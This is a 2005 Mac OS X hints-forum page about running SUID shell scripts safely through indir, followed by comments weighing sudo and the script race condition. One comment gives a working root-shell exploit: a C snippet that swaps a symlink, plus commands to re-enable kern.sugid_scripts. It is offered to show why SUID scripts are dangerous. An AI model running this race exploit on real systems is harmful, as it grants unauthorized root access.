Submit Hint Search The Forums LinksStatsPollsHeadlinesRSS
14,000 hints and counting!

Run SUID shell scripts safely UNIX
I was surprised to learn that the 10.3.9 update disabled the SUID and SGID bits on shell scripts; I thought that had been done years ago (it should have been). Running SUID shell scripts directly was never safe, but there is a safe way to run them indirectly using the open-source POSIX application indir. indir is an interpreter that is invoked from the script instead of the shell. That is, instead of starting your script with something like:
You would use this instead:
#!/usr/bin/indir -u
#?/bin/sh /path/to/script
indir runs some checks to make sure no exploits are possible, then starts an SUID shell and transfers control to it. I use this all the time, and it works perfectly, but there are some catches. You can't use bash as the secondary interpreter; you have to invoke as sh (actually the same program) instead. The PATH environment variable is ignored. For more information, see the documentation distributed with indir and search the archives of comp.unix.* on Google Groups.

The code is very old and somewhat hard to find. Just now I was able to find it here. Be sure to install the following patches: 1, 2.

[robg adds: I haven't tested this one.]
  • Currently 1.29 / 5
  You rated: 3 / 5 (7 votes cast)

Run SUID shell scripts safely | 11 comments | Create New Account
Click here to return to the 'Run SUID shell scripts safely' hint
The following comments are owned by whoever posted them. This site is not responsible for what they say.
sysctl -w kern.sugid_scripts=1
Authored by: veloso on Apr 19, '05 02:21:48PM

Instead of bypassing it, just turn it back on...

[ Reply to This | # ]
sysctl -w kern.sugid_scripts=1
Authored by: lincd0 on Apr 19, '05 04:22:35PM

That merely restores a security hole that was closed by the update. It's not equivalent to using indir.

[ Reply to This | # ]
Run SUID shell scripts safely
Authored by: ghinteclinn on Apr 19, '05 03:26:40PM

From a security standpoint, "setuid scripts" and "safely" are opposites. The existence of a setuid script is itself a security vulnerability that can be turned into a local exploit. The safe way to run a script as root is with sudo -- which Apple ships with OS X.

[ Reply to This | # ]
Run SUID shell scripts safely
Authored by: lincd0 on Apr 19, '05 04:19:57PM

An SUID shell script started by indir is no less secure than an SUID binary, of which at least a dozen are installed in Mac OS X by default, or a script invoked with sudo. There are some situations in which an SUID script is more convenient than sudo.

[ Reply to This | # ]
number of moving parts
Authored by: hayne on Apr 19, '05 04:33:11PM

It comes down to the amount of code that you need to trust.
If you run scripts via 'indir', then you not only need to make sure your script is secure (which by itself is harder than with a compiled executable) but you also have to trust that the developers of 'indir' have covered all the bases in preventing security problems.
I haven't looked at 'indir' at all, but the mere fact that (as you said) there are some patches needed and that the code is difficult to understand, would make me very reluctant to trust it.

[ Reply to This | # ]
Run SUID shell scripts safely
Authored by: ghinteclinn on Apr 19, '05 05:05:01PM

When any shell script is invoked, regardless of how, the kernel loads and executes the interpreter which then goes about reading and interpreting the script. This leads to a race condition. If a script can be changed during the interpreter load time, before the interpreter starts reading the script, then the interpreter will run the new script instead of the original. indir cannot prevent this because the race condition occours after it has handed off the script to the interpreter.

Setuid binaries don't work the same way. The kernel loads an image into memory, changes the EUID, and invokes main(). There is no race condition that can be exploited.

So, no, running a setuid script with indir is demonstrably not as safe as running a setuid binary.

[ Reply to This | # ]
Run SUID shell scripts safely
Authored by: kamath on Apr 19, '05 05:56:52PM

That's the old way. Modern Unices that have a file descriptor filesystem (/dev/fd, for example), the kernel will pass the open file descriptor to the interpreter, thus preventing the race condition you speak of.

There are still environment variable issues. . .

[ Reply to This | # ]
Run SUID shell scripts safely
Authored by: ghinteclinn on Apr 20, '05 09:52:59AM

Sure, and OS X uses the file descriptor mechanism.

However, anyone here might run into an older Unix that passes the script as an argument and, not knowing any better, might expect the contemporary behaviour and open up a serious security vulnerability. Best not to use setuid scripts at all.

[ Reply to This | # ]
SUID scripts are still unsafe in OS/X
Authored by: gshenaut on Apr 21, '05 02:38:57PM

The suggestion that "modern unices" are not vulnerable to the suid #! script race condition because they pass an open fd to the script may or may not be true (based on other messages here, "modern unix" usually means "versions of Linux I am familiar with"), but it doesn't apply to OS/X. If you'll page back through the previous articles in this hint, you'll find my documentation of a sucessful exploit of this race condition to get a root shell prompt on OS/X 10.3.9. Please, don't use analogies with other versions of UNIX to make generalization about OS/X: analogies are useful in generating hypotheses, but the hypotheses still need to be tested!

Greg Shenaut

[ Reply to This | # ]
Run SUID shell scripts safely
Authored by: gshenaut on Apr 19, '05 06:53:28PM
Yeah, the key to this as I understand it is that you create a symlink in a directory you own to a suid script somewhere else, and then invoke the symlink while immediately replacing it with your own content. I played around with this a little, and it definitely works, better with long scripts than short ones. It is an artifact of the way #! scripts are implemented, passing the name of the script to the interpreter rather than a file descriptor.

So, relunctantly, I am turning sugid_scripts back off on my machines.

I am a firm believer in sunshine as being the best defense against maliciousness, so in that spirit, here is the code I used in my playing around:

        if (fork()) {
                execl("/Users/MYNAME/mylink", 0);
        } else {
                unlink ("mylink");
                write (creat("mylink", 0777), "sh\n", 3);
To convince yourself of the wisdom of disallowing suid scripts, do the following: Change the string MYNAME to your login name and compile the above program. Then find a suid script (you will probably have to make one; if you do, it will work much better if you stick a bunch of comment lines in there to make it take a while to load). To make it suid, run the commands "sudo chown 0:0 SCRIPT; sudo chmod +w,+s SCRIPT", where SCRIPT is the path to your script. My test script was simply

# a long comment line, repeated 100 times

You will have to enable suid scripts:

sudo sysctl -w kern.sugid_scripts=1
Now the fun part: run this command over and over again from your home directory:

rm -f mylink ; ln -s SCRIPT mylink ; ./a.out
where SCRIPT is the path to your suid script. When you get a root prompt, stop. On my 1st edition 17" PB, it takes from 2 to over 20 tries to get root, but I have always gotten there.

Note that you don't need write permission on the script at all, just write permission in your home directory. This little demo turned me from a strong advocate of allowing suid scripts to a strong advocate for disallowing them.

Once you're done with this test, don't forget to remove your test script and to run

sudo sysctl -w kern.sugid_scripts=0

Greg Shenaut

[ Reply to This | # ]

Run SUID shell scripts safely
Authored by: kamath on Apr 19, '05 05:54:10PM


I wish people would stop recommending "yet another way" to "fix" this.

Everything you need is already here.

First off, if you wish to turn this back on, more power to you. Hope you're the only one running on your machine.

Second, just use sudo. If you *REALLY* need setuid scripts (most people don't), you can do the following (reasonably safely) instead:

Open Terminal
type 'sudo visudo' (yeah, you need to be root to edit the file that allows ou to be root. ;-)).
At the bottom, add a line like so:

<username> NOPASSWD:/path/to/your/scripts/*

where <username> is your "short name"
save the file.

Now, you can type 'sudo scriptname' (assuming your script is in /path/to/your/scripts, and that that path is in your PATH).

You can even put 'sudo scriptname' in your non-setuid shell script.

(A somewhat slightly more secure version of this is to use a command alias for your scripts:

Cmd_Alias SUID_SCRIPTS /path/to/script1, /other/script, etc

run 'man sudoers' and peruse the examples. . .)

[ Reply to This | # ]